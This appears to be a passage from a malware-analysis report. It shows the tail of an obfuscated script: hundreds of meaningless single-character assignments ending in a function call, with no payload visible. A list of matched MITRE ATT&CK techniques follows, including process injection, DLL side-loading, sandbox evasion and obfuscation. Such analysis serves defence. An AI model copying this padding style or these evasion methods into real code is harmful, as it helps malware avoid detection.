526	spnvalos = "e";
527	spnvalos = "A";
528	spnvalos = "q";
529	spnvalos = "F";
530	spnvalos = "l";
531	spnvalos = "E";
532	spnvalos = "c";
533	spnvalos = "O";
534	spnvalos = "L";
535	spnvalos = "T";
536	spnvalos = "6";
537	zfpxio = "E";
538	zfpxio = "A";
539	zfpxio = "d";
540	zfpxio = "n";
541	zfpxio = "S";
542	zfpxio = "s";
543	wnfjw = "b";
544	wnfjw = "e";
545	wnfjw = "L";
546	wnfjw = "Y";
547	wnfjw = "f";
548	rggpr = "-";
549	bdspcw = "q";
550	bdspcw = "X";
551	bdspcw = "m";
552	bdspcw = "m";
553	bdspcw = "y";
554	bdspcw = "L";
555	bdspcw = "Q";
556	bdspcw = "i";
557	bdspcw = "H";
558	bdspcw = "f";
559	bdspcw = "d";
560	bdspcw = "Q";
561	bdspcw = "d";
562	bdspcw = "g";
563	bdspcw = "C";
564	bdspcw = "X";
565	bdspcw = "p";
566	bdspcw = "L";
567	bdspcw = "A";
568	bdspcw = "E";
569	bdspcw = "L";
570	bdspcw = "l";
571	bdspcw = "t";
572	bdspcw = "Q";
573	bdspcw = "A";
574	bdspcw = "X";
575	bdspcw = "B";
576	bdspcw = "B";
577	bdspcw = "U";
578	bdspcw = "H";
579	bdspcw = "C";
580	bdspcw = "w";
581	bdspcw = "t";
582	bdspcw = "B";
583	bdspcw = "j";
584	bdspcw = "X";
585	bdspcw = "U";
586	bdspcw = "N";
587	bdspcw = "Q";
588	bdspcw = "Y";
589	bdspcw = "Z";
590	bdspcw = "o";
591	bdspcw = "W";
592	suprkuhl = "w";
593	suprkuhl = "m";
594	suprkuhl = "k";
595	suprkuhl = "J";
596	suprkuhl = "n";
597	suprkuhl = "b";
598	suprkuhl = "u";
599	suprkuhl = "U";
600	suprkuhl = "M";
601	suprkuhl = "Z";
602	suprkuhl = "W";
603	suprkuhl = "y";
604	suprkuhl = "z";
605	suprkuhl = "H";
606	suprkuhl = "I";
607	suprkuhl = "S";
608	suprkuhl = "d";
609	suprkuhl = "O";
610	suprkuhl = "V";
611	suprkuhl = "l";
612	suprkuhl = "S";
613	suprkuhl = "y";
614	suprkuhl = "T";
615	suprkuhl = "j";
616	suprkuhl = "L";
617	sqkhrkesv = "A";
618	sqkhrkesv = "x";
619	sqkhrkesv = "q";
620	sqkhrkesv = "P";
621	sqkhrkesv = "y";
622	sqkhrkesv = "h";
623	sqkhrkesv = "X";
624	sqkhrkesv = "h";
625	sqkhrkesv = "r";
626	sqkhrkesv = "s";
627	sqkhrkesv = "j";
628	sqkhrkesv = "W";
629	sqkhrkesv = "J";
630	sqkhrkesv = "c";
631	sqkhrkesv = "T";
632	sqkhrkesv = "z";
633	sqkhrkesv = "D";
634	sqkhrkesv = "P";
635	sqkhrkesv = "Y";
636	sqkhrkesv = "A";
637	sqkhrkesv = "L";
638	sqkhrkesv = "w";
639	sqkhrkesv = "E";
640	sqkhrkesv = "I";
641	sqkhrkesv = "O";
642	sqkhrkesv = "m";
643	sqkhrkesv = "J";
644	sqkhrkesv = "r";
645	sqkhrkesv = "f";
646	sqkhrkesv = "i";
647	sqkhrkesv = "v";
648	sqkhrkesv = "x";
649	sqkhrkesv = "M";
650	sqkhrkesv = "\"";
651	ndjmz = "5";
652	qqpeuoa = "G";
653	qqpeuoa = "N";
654	qqpeuoa = "A";
655	qqpeuoa = "R";
656	qqpeuoa = "K";
657	qqpeuoa = "Z";
658	qqpeuoa = "O";
659	qqpeuoa = "I";
660	qqpeuoa = "A";
661	qqpeuoa = "M";
662	qqpeuoa = "C";
663	qqpeuoa = "C";
664	qqpeuoa = "w";
665	qqpeuoa = "C";
666	qqpeuoa = "a";
667	qqpeuoa = "S";
668	qqpeuoa = "n";
669	qqpeuoa = "C";
670	qqpeuoa = "W";
671	qqpeuoa = "c";
672	qqpeuoa = "p";
673	qqpeuoa = "F";
674	qqpeuoa = "R";
675	qqpeuoa = "q";
676	qqpeuoa = "Z";
677	qqpeuoa = "G";
678	qqpeuoa = "A";
679	qqpeuoa = "f";
680	qqpeuoa = "N";
681	qqpeuoa = "z";
682	qqpeuoa = "u";
683	qqpeuoa = "B";
684	qqpeuoa = "U";
685	qqpeuoa = "u";
686	bgfxky = "E";
687	bgfxky = "m";
688	bgfxky = "x";
689	bgfxky = "W";
690	bgfxky = "l";
691	bgfxky = "Q";
692	bgfxky = "C";
693	bgfxky = "E";
694	bgfxky = "C";
695	bgfxky = "l";
696	bgfxky = "D";
697	bgfxky = "T";
698	bgfxky = "V";
699	bgfxky = "P";
700	bgfxky = "F";
701	bgfxky = "Q";
702	zgpyh = "E";
703	zgpyh = "Q";
704	zgpyh = "z";
705	zgpyh = "C";
706	zgpyh = "n";
707	zgpyh = "c";
708	zgpyh = "N";
709	zgpyh = "f";
710	zgpyh = "n";
711	zgpyh = "n";
712	zgpyh = "k";
713	zgpyh = "x";
714	zgpyh = "j";
715	zgpyh = "P";
716	zgpyh = "a";
717	zgpyh = "K";
718	zgpyh = "J";
719	zgpyh = "7";
720	mrccvz = "S";
721	mrccvz = "I";
722	mrccvz = "a";
723	mrccvz = "v";
724	mrccvz = "Q";
725	mrccvz = "G";
726	mrccvz = "I";
727	mrccvz = "x";
728	mrccvz = "e";
729	fjmrwzyqu = "K";
730	fjmrwzyqu = "l";
731	fjmrwzyqu = "D";
732	fjmrwzyqu = "s";
733	fjmrwzyqu = "m";
734	fjmrwzyqu = "S";
735	fjmrwzyqu = "n";
736	fjmrwzyqu = "B";
737	fjmrwzyqu = "w";
738	fjmrwzyqu = "%";
739	jhqpfd = "Q";
740	jhqpfd = "c";
741	jhqpfd = "R";
742	jhqpfd = "y";
743	jhqpfd = "p";
744	jhqpfd = "I";
745	jhqpfd = "W";
746	jhqpfd = "s";
747	jhqpfd = "f";
748	jhqpfd = "O";
749	jhqpfd = "U";
750	jhqpfd = "P";
751	jhqpfd = "N";
752	jhqpfd = "G";
753	jhqpfd = "f";
754	jhqpfd = "X";
755	jhqpfd = "M";
756	jhqpfd = "e";
757	jhqpfd = "R";
758	jhqpfd = "L";
759	jhqpfd = "F";
760	jhqpfd = "N";
761	jhqpfd = "y";
762	jhqpfd = "v";
763	jhqpfd = "l";
764	jhqpfd = "R";
765	jhqpfd = "H";
766	jhqpfd = "e";
767	jhqpfd = "g";
768	jhqpfd = "L";
769	jhqpfd = "e";
770	jhqpfd = "F";
771	jhqpfd = "N";
772	jhqpfd = "z";
773	jhqpfd = "m";
774	jhqpfd = "D";
775	jhqpfd = "R";
776	jhqpfd = "L";
777	jhqpfd = "o";
778	jhqpfd = "k";
779	jhqpfd = "q";
780	jhqpfd = "X";
781	jhqpfd = "J";
782	jhqpfd = "C";
783	friklkju = "l";
784	friklkju = "k";
785	friklkju = "R";
786	friklkju = "D";
787	friklkju = "Z";
788	friklkju = "T";
789	friklkju = "J";
790	friklkju = "D";
791	friklkju = "i";
792	friklkju = "y";
793	friklkju = "B";
794	friklkju = "U";
795	friklkju = "o";
796	friklkju = "G";
797	friklkju = "P";
798	friklkju = "w";
799	friklkju = "s";
800	friklkju = "g";
801	friklkju = "C";
802	friklkju = "Q";
803	friklkju = "P";
804	friklkju = "F";
805	friklkju = "z";
806	friklkju = "i";
807	friklkju = "W";
808	friklkju = "o";
809	friklkju = "K";
810	friklkju = "Y";
811	friklkju = "x";
812	friklkju = "r";
813	friklkju = "I";
814	friklkju = "h";
815	friklkju = "O";
816	friklkju = "S";
817	friklkju = "B";
818	friklkju = "w";
819	friklkju = "V";
820	friklkju = "v";
821	friklkju = "k";
822	friklkju = "u";
823	friklkju = "3";
824	xjuvc = "i";
825	xjuvc = "p";
826	xjuvc = "j";
827	xjuvc = "a";
828	xjuvc = "d";
829	xjuvc = "K";
830	xjuvc = "B";
831	xjuvc = "E";
832	xjuvc = "T";
833	xjuvc = "V";
834	xjuvc = "i";
835	xjuvc = "p";
836	xjuvc = "n";
837	xjuvc = "W";
838	xjuvc = "k";
839	xjuvc = "a";
840	xjuvc = "Z";
841	xjuvc = "Y";
842	xjuvc = "B";
843	xjuvc = "o";
844	xjuvc = "p";
845	xjuvc = "K";
846	xjuvc = "L";
847	xjuvc = "q";
848	xjuvc = "g";
849	xjuvc = "d";
850	xjuvc = "W";
851	xjuvc = "v";
852	xjuvc = "E";
853	xjuvc = "x";
854	xjuvc = "f";
855	xjuvc = "l";
856	xjuvc = "T";
857	xjuvc = "H";
858	xjuvc = "Q";
859	xjuvc = "q";
860	xjuvc = "Q";
861	xjuvc = "L";
862	xjuvc = "d";
863	xjuvc = "V";
864	xjuvc = "x";
865	xjuvc = "Z";
866	xjuvc = "@";
867	yvnryypaw = "O";
868	yvnryypaw = "8";
869	wduyzyro = "y";
870	wduyzyro = "q";
871	wduyzyro = "P";
872	wduyzyro = "x";
873	wduyzyro = "D";
874	wduyzyro = "K";
875	wduyzyro = "o";
876	wduyzyro = "B";
877	wduyzyro = "F";
878	qmgcj = "m";
879	qmgcj = "l";
880	qmgcj = "j";
881	qmgcj = "w";
882	qmgcj = "Y";
883	qmgcj = "R";
884	qmgcj = "K";
885	qmgcj = "C";
886	qmgcj = "d";
887	chqvbzb = "J";
888	chqvbzb = "F";
889	chqvbzb = "K";
890	chqvbzb = "o";
891	chqvbzb = "k";
892	chqvbzb = "r";
893	chqvbzb = "T";
894	chqvbzb = "n";
895	chqvbzb = "G";
896	chqvbzb = "h";
897	chqvbzb = "k";
898	chqvbzb = "m";
899	chqvbzb = "J";
900	chqvbzb = "I";
901	chqvbzb = "X";
902	chqvbzb = "c";
903	chqvbzb = "l";
904	chqvbzb = "V";
905	chqvbzb = "m";
906	fcrbpsv = "X";
907	fcrbpsv = "x";
908	fcrbpsv = "l";
909	fcrbpsv = "K";
910	fcrbpsv = "e";
911	fcrbpsv = "b";
912	fcrbpsv = "V";
913	fcrbpsv = "o";
914	fcrbpsv = "C";
915	fcrbpsv = "D";
916	fcrbpsv = "t";
917	fcrbpsv = "r";
918	fcrbpsv = "F";
919	fcrbpsv = "H";
920	fcrbpsv = "e";
921	fcrbpsv = "p";
922	fcrbpsv = "b";
923	fcrbpsv = "l";
924	fcrbpsv = "O";
925	ndyzl = "Y";
926	ndyzl = "y";
927	ndyzl = "c";
928	ndyzl = "C";
929	ndyzl = "k";
930	ndyzl = "t";
931	ndyzl = "N";
932	ndyzl = "F";
933	ndyzl = "B";
934	ndyzl = "E";
935	ndyzl = "r";
936	ndyzl = "M";
937	ndyzl = "V";
938	ndyzl = "b";
939	ndyzl = "U";
940	ndyzl = "p";
941	ndyzl = "\\";
942	pqbfs = "B";
943	pqbfs = "w";
944	pqbfs = "r";
945	pqbfs = "j";
946	pqbfs = "h";
947	pqbfs = "h";
948	pqbfs = "F";
949	pqbfs = "p";
950	pqbfs = "R";
951	pqbfs = "C";
952	pqbfs = "r";
953	pqbfs = "p";
954	pqbfs = "Z";
955	pqbfs = "T";
956	pqbfs = "M";
957	pqbfs = "w";
958	pqbfs = "o";
959	pqbfs = "m";
960	pqbfs = "k";
961	pqbfs = "v";
962	pqbfs = "l";
963	pqbfs = "H";
964	pqbfs = "L";
965	pqbfs = "g";
966	pqbfs = "p";
967	pqbfs = "F";
968	pqbfs = "y";
969	pqbfs = "Z";
970	pqbfs = "K";
971	uzrnqqts = "C";
972	uzrnqqts = "l";
973	uzrnqqts = "C";
974	uzrnqqts = "S";
975	uzrnqqts = "K";
976	uzrnqqts = "X";
977	uzrnqqts = "q";
978	uzrnqqts = "y";
979	uzrnqqts = "a";
980	uzrnqqts = "a";
981	uzrnqqts = "v";
982	ibzlmm = "w";
983	ibzlmm = "o";
984	ibzlmm = "d";
985	ibzlmm = "D";
986	ibzlmm = "C";
987	ibzlmm = "P";
988	ibzlmm = "S";
989	ibzlmm = "b";
990	ibzlmm = "p";
991	ibzlmm = "m";
992	ibzlmm = "E";
993	ibzlmm = "k";
994	ibzlmm = "m";
995	ibzlmm = "G";
996	ibzlmm = "S";
997	ibzlmm = "o";
998	ibzlmm = "t";
999	gnedsbn = "x";
1000	gnedsbn = "j";
1001	gnedsbn = "V";
1002	gnedsbn = "L";
1003	gnedsbn = "U";
1004	ofregt = "J";
1005	ofregt = "G";
1006	ofregt = "G";
1007	ofregt = "G";
1008	ofregt = "m";
1009	ofregt = "V";
1010	ofregt = "p";
1011	ofregt = "s";
1012	ofregt = "R";
1013	ofregt = "j";
1014	ofregt = "M";
1015	ofregt = "u";
1016	ofregt = "M";
1017	ofregt = "j";
1018	ofregt = "S";
1019	ofregt = "a";
1020	ofregt = "N";
1021	ofregt = "M";
1022	ofregt = "A";
1023	ofregt = "I";
1024	ofregt = "H";
1025	ofregt = "j";
1026	ofregt = "P";
1027	ofregt = "t";
1028	ofregt = "H";
1029	ofregt = "Q";
1030	ofregt = "w";
1031	ofregt = "D";
1032	ofregt = "N";
1033	ofregt = "P";
1034	ofregt = "R";
1035	ofregt = "D";
1036	ofregt = "J";
1037	ofregt = "q";
1038	ofregt = "p";
1039	ofregt = "u";
1040	ofregt = "b";
1041	ofregt = "R";
1042	ofregt = "c";
1043	ofregt = "d";
1044	ofregt = "x";
1045	ofregt = "Q";
1046	ofregt = "M";
1047	ofregt = "0";
1048	jjgplsqt = "D";
1049	jjgplsqt = "r";
1050	jjgplsqt = "l";
1051	jjgplsqt = "l";
1052	jjgplsqt = "L";
1053	jjgplsqt = "e";
1054	jjgplsqt = "M";
1055	jjgplsqt = "r";
1056	jjgplsqt = "L";
1057	jjgplsqt = "r";
1058	jjgplsqt = "x";
1059	jjgplsqt = "i";
1060	jjgplsqt = "O";
1061	jjgplsqt = "H";
1062	jjgplsqt = "g";
1063	jjgplsqt = "w";
1064	jjgplsqt = "t";
1065	jjgplsqt = "B";
1066	jjgplsqt = "Y";
1067	jjgplsqt = "O";
1068	jjgplsqt = "x";
1069	jjgplsqt = "4";
1070	mlbybh = "m";
1071	mlbybh = "S";
1072	mlbybh = "C";
1073	mlbybh = "L";
1074	mlbybh = "h";
1075	mlbybh = "D";
1076	mlbybh = "Q";
1077	mlbybh = "r";
1078	mlbybh = "X";
1079	mlbybh = "g";
1080	mlbybh = "D";
1081	mlbybh = "A";
1082	mlbybh = "j";
1083	mlbybh = "b";
1084	mlbybh = "a";
1085	mlbybh = "i";
1086	mlbybh = "x";
1087	mlbybh = "f";
1088	mlbybh = "W";
1089	mlbybh = "t";
1090	mlbybh = "Y";
1091	mlbybh = "b";
1092	mlbybh = "j";
1093	mlbybh = "h";
1094	wuerfpik = "o";
1095	wuerfpik = "a";
1096	wuerfpik = "m";
1097	wuerfpik = "M";
1098	wuerfpik = "O";
1099	wuerfpik = "w";
1100	wuerfpik = "r";
1101	wuerfpik = "n";
1102	wuerfpik = "N";
1103	wuerfpik = "L";
1104	wuerfpik = "W";
1105	wuerfpik = "D";
1106	wuerfpik = "p";
1107	wuerfpik = "A";
1108	wuerfpik = "q";
1109	wuerfpik = "S";
1110	wuerfpik = "m";
1111	wuerfpik = "T";
1112	wuerfpik = "F";
1113	wuerfpik = "I";
1114	bnxulk = "m";
1115	bnxulk = "O";
1116	bnxulk = "f";
1117	bnxulk = "T";
1118	bnxulk = "R";
1119	bnxulk = "q";
1120	bnxulk = "m";
1121	bnxulk = "k";
1122	bnxulk = "U";
1123	bnxulk = "B";
1124	bnxulk = "c";
1125	bnxulk = "z";
1126	bnxulk = "e";
1127	bnxulk = "N";
1128	bnxulk = "s";
1129	bnxulk = "c";
1130	bnxulk = "W";
1131	bnxulk = "E";
1132	bnxulk = "s";
1133	bnxulk = "m";
1134	bnxulk = "b";
1135	bnxulk = "s";
1136	bnxulk = "Y";
1137	bnxulk = "U";
1138	bnxulk = "O";
1139	bnxulk = "P";
1140	bnxulk = "j";
1141	bnxulk = "H";
1142	bnxulk = "o";
1143	bnxulk = "s";
1144	bnxulk = "C";
1145	bnxulk = "C";
1146	bnxulk = "p";
1147	bnxulk = "q";
1148	bnxulk = "a";
1149	qgidb = "Q";
1150	qgidb = "Z";
1151	qgidb = "P";
1152	qgidb = "W";
1153	qgidb = "x";
1154	qgidb = "j";
1155	qgidb = "c";
1156	qgidb = "u";
1157	qgidb = "G";
1158	qgidb = "J";
1159	qgidb = "w";
1160	qgidb = "T";
1161	qgidb = "d";
1162	qgidb = "H";
1163	qgidb = "e";
1164	qgidb = "N";
1165	qgidb = "e";
1166	qgidb = "m";
1167	qgidb = "U";
1168	qgidb = "y";
1169	qgidb = "U";
1170	qgidb = "B";
1171	qgidb = "o";
1172	qgidb = "I";
1173	qgidb = "c";
1174	qgidb = "A";
1175	qgidb = "X";
1176	qgidb = "G";
1177	qgidb = "a";
1178	qgidb = "t";
1179	qgidb = "C";
1180	qgidb = "K";
1181	qgidb = "L";
1182	qgidb = "E";
1183	qgidb = "R";
1184	tjydghzl = "y";
1185	tjydghzl = "m";
1186	tjydghzl = "E";
1187	tjydghzl = "Z";
1188	tjydghzl = "h";
1189	tjydghzl = "w";
1190	jfgsjm = "f";
1191	jfgsjm = "T";
1192	jfgsjm = "M";
1193	jfgsjm = "g";
1194	jfgsjm = "p";
1195	jfgsjm = "B";
1196	jfgsjm = "Q";
1197	jfgsjm = "N";
1198	jfgsjm = "a";
1199	jfgsjm = "&";
1200	oarhhs = "V";
1201	oarhhs = "n";
1202	oarhhs = "w";
1203	oarhhs = "k";
1204	oarhhs = "y";
1205	oarhhs = "e";
1206	oarhhs = "a";
1207	oarhhs = "d";
1208	oarhhs = "g";
1209	oarhhs = "T";
1210	oarhhs = "n";
1211	oarhhs = "E";
1212	oarhhs = "N";
1213	oarhhs = "e";
1214	oarhhs = "u";
1215	oarhhs = "w";
1216	oarhhs = "w";
1217	oarhhs = "i";
1218	oarhhs = "N";
1219	oarhhs = "S";
1220	oarhhs = "d";
1221	oarhhs = "U";
1222	oarhhs = "l";
1223	oarhhs = "v";
1224	oarhhs = "z";
1225	oarhhs = "c";
1226	keldvjowr = "d";
1227	keldvjowr = "X";
1228	keldvjowr = "k";
1229	keldvjowr = "F";
1230	keldvjowr = "B";
1231	keldvjowr = "p";
1232	keldvjowr = "l";
1233	keldvjowr = "H";
1234	keldvjowr = "z";
1235	keldvjowr = "v";
1236	keldvjowr = "y";
1237	keldvjowr = "T";
1238	keldvjowr = "P";
1239	keldvjowr = "B";
1240	keldvjowr = "T";
1241	keldvjowr = "y";
1242	keldvjowr = "A";
1243	keldvjowr = "C";
1244	keldvjowr = "l";
1245	keldvjowr = "M";
1246	keldvjowr = "Q";
1247	keldvjowr = "D";
1248	keldvjowr = "R";
1249	keldvjowr = "t";
1250	keldvjowr = "o";
1251	keldvjowr = "d";
1252	keldvjowr = "x";
1253	zieqfr = "E";
1254	zieqfr = "N";
1255	zieqfr = "u";
1256	zieqfr = "A";
1257	zieqfr = "G";
1258	zieqfr = "f";
1259	zieqfr = "L";
1260	zieqfr = "m";
1261	zieqfr = "c";
1262	zieqfr = "w";
1263	zieqfr = "e";
1264	zieqfr = "L";
1265	zieqfr = "f";
1266	zieqfr = "x";
1267	zieqfr = "i";
1268	zieqfr = "O";
1269	zieqfr = "p";
1270	zieqfr = "f";
1271	zieqfr = "K";
1272	zieqfr = "k";
1273	zieqfr = "i";
1274	zieqfr = "L";
1275	zieqfr = "f";
1276	zieqfr = "z";
1277	zieqfr = "s";
1278	zieqfr = "a";
1279	zieqfr = "M";
1280	zieqfr = "x";
1281	zieqfr = "b";
1282	zieqfr = "l";
1283	zieqfr = "P";
1284	zieqfr = "j";
1285	zieqfr = "a";
1286	zieqfr = "A";
1287	zieqfr = "T";
1288	zieqfr = "u";
1289	zieqfr = "C";
1290	zieqfr = "q";
1291	zieqfr = "I";
1292	zieqfr = "R";
1293	zieqfr = "K";
1294	zieqfr = "_";
1295	qiisovqx = "E";
1296	qiisovqx = "f";
1297	qiisovqx = "E";
1298	qiisovqx = "K";
1299	qiisovqx = "m";
1300	qiisovqx = "B";
1301	qiisovqx = "O";
1302	qiisovqx = "W";
1303	qiisovqx = "H";
1304	qiisovqx = "c";
1305	qiisovqx = "H";
1306	qiisovqx = "p";
1307	qiisovqx = "W";
1308	qiisovqx = "O";
1309	qiisovqx = "Y";
1310	qiisovqx = "f";
1311	qiisovqx = "C";
1312	qiisovqx = "W";
1313	qiisovqx = "u";
1314	qiisovqx = "A";
1315	qiisovqx = "k";
1316	qiisovqx = "I";
1317	qiisovqx = "l";
1318	qiisovqx = "E";
1319	qiisovqx = "a";
1320	qiisovqx = "y";
1321	qiisovqx = "S";
1322	qiisovqx = "c";
1323	qiisovqx = "A";
1324	qiisovqx = "F";
1325	qiisovqx = "N";
1326	qiisovqx = "n";
1327	qiisovqx = "U";
1328	qiisovqx = "O";
1329	qiisovqx = "i";
1330	qiisovqx = "h";
1331	qiisovqx = "Y";
1332	qiisovqx = "s";
1333	qiisovqx = "S";
1334	qiisovqx = "x";
1335	qiisovqx = "O";
1336	qiisovqx = "t";
1337	qiisovqx = "I";
1338	qiisovqx = "2";
1339	rqdrz = "x";
1340	rqdrz = "h";
1341	rqdrz = "v";
1342	rqdrz = "Z";
1343	rqdrz = "H";
1344	rqdrz = "o";
1345	rqdrz = "I";
1346	rqdrz = "q";
1347	rqdrz = "J";
1348	rqdrz = "p";
1349	rqdrz = "D";
1350	rqdrz = "J";
1351	rqdrz = "h";
1352	rqdrz = "U";
1353	rqdrz = "f";
1354	rqdrz = "O";
1355	rqdrz = "Y";
1356	rqdrz = "H";
1357	rqdrz = "c";
1358	rqdrz = "V";
1359	rqdrz = "i";
1360	rqdrz = "T";
1361	rqdrz = "a";
1362	rqdrz = "M";
1363	rqdrz = "L";
1364	rqdrz = "e";
1365	rqdrz = "m";
1366	rqdrz = "V";
1367	rqdrz = "A";
1368	rqdrz = "c";
1369	rqdrz = "y";
1370	rqdrz = "p";
1371	rqdrz = "l";
1372	rqdrz = "I";
1373	rqdrz = "W";
1374	rqdrz = "d";
1375	rqdrz = "g";
1376	rqdrz = "H";
1377	rqdrz = "p";
1378	rqdrz = "L";
1379	rqdrz = "L";
1380	rqdrz = "L";
1381	rqdrz = "g";
1382	rqdrz = "r";
1383	dmffffpok = "L";
1384	dmffffpok = "z";
1385	dmffffpok = "p";
1386	dmffffpok = "O";
1387	dmffffpok = "d";
1388	dmffffpok = "G";
1389	dmffffpok = "J";
1390	dmffffpok = "Q";
1391	dmffffpok = "c";
1392	dmffffpok = "E";
1393	dmffffpok = "O";
1394	dmffffpok = "q";
1395	dmffffpok = "N";
1396	dmffffpok = "m";
1397	dmffffpok = "g";
1398	dmffffpok = "i";
1399	dmffffpok = "w";
1400	dmffffpok = "d";
1401	dmffffpok = "E";
1402	dmffffpok = "m";
1403	dmffffpok = "r";
1404	dmffffpok = "d";
1405	dmffffpok = "u";
1406	dmffffpok = "J";
1407	dmffffpok = "J";
1408	dmffffpok = "Y";
1409	dmffffpok = "F";
1410	dmffffpok = "R";
1411	dmffffpok = "E";
1412	dmffffpok = "p";
1413	rlmdai = "Y";
1414	rlmdai = "H";
1415	rlmdai = "H";
1416	rlmdai = "F";
1417	rlmdai = "d";
1418	rlmdai = "Q";
1419	rlmdai = "W";
1420	rlmdai = "w";
1421	rlmdai = "e";
1422	rlmdai = "Q";
1423	rlmdai = "l";
1424	rlmdai = "N";
1425	rlmdai = "K";
1426	rlmdai = "X";
1427	rlmdai = "K";
1428	rlmdai = "B";
1429	rlmdai = "J";
1430	rlmdai = "u";
1431	rlmdai = "H";
1432	rlmdai = "P";
1433	rlmdai = "F";
1434	rlmdai = "I";
1435	rlmdai = "K";
1436	rlmdai = "S";
1437	rlmdai = "t";
1438	rlmdai = "p";
1439	rlmdai = "Z";
1440	rlmdai = "s";
1441	rlmdai = "K";
1442	rlmdai = "J";
1443	rlmdai = "o";
1444	rlmdai = "t";
1445	rlmdai = "I";
1446	rlmdai = "L";
1447	rlmdai = "b";
1448	rlmdai = "V";
1449	rlmdai = "u";
1450	rlmdai = "L";
1451	rlmdai = "U";
1452	rlmdai = "v";
1453	rlmdai = "T";
1454	rlmdai = "U";
1455	rlmdai = "q";
1456	rlmdai = "H";
1457	rknsupe = "K";
1458	rknsupe = "X";
1459	rknsupe = "t";
1460	rknsupe = "P";
1461	rknsupe = "Y";
1462	rknsupe = "V";
1463	rknsupe = "O";
1464	rknsupe = "e";
1465	rknsupe = "H";
1466	rknsupe = "B";
1467	rknsupe = "A";
1468	rknsupe = "P";
1469	rknsupe = "r";
1470	rknsupe = "V";
1471	rknsupe = "N";
1472	rknsupe = "Y";
1473	rknsupe = "r";
1474	rknsupe = "D";
1475	rknsupe = "a";
1476	rknsupe = "T";
1477	rknsupe = "s";
1478	rknsupe = "s";
1479	rknsupe = "M";
1480	rknsupe = "a";
1481	rknsupe = "X";
1482	rknsupe = "Y";
1483	rknsupe = "a";
1484	rknsupe = "O";
1485	rknsupe = "u";
1486	rknsupe = "A";
1487	rknsupe = "l";
1488	rknsupe = "h";
1489	rknsupe = "W";
1490	rknsupe = "m";
1491	rknsupe = "U";
1492	rknsupe = "l";
1493	rknsupe = "E";
1494	rknsupe = "S";
1495	uslrjwe ( );	uslrjwe() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
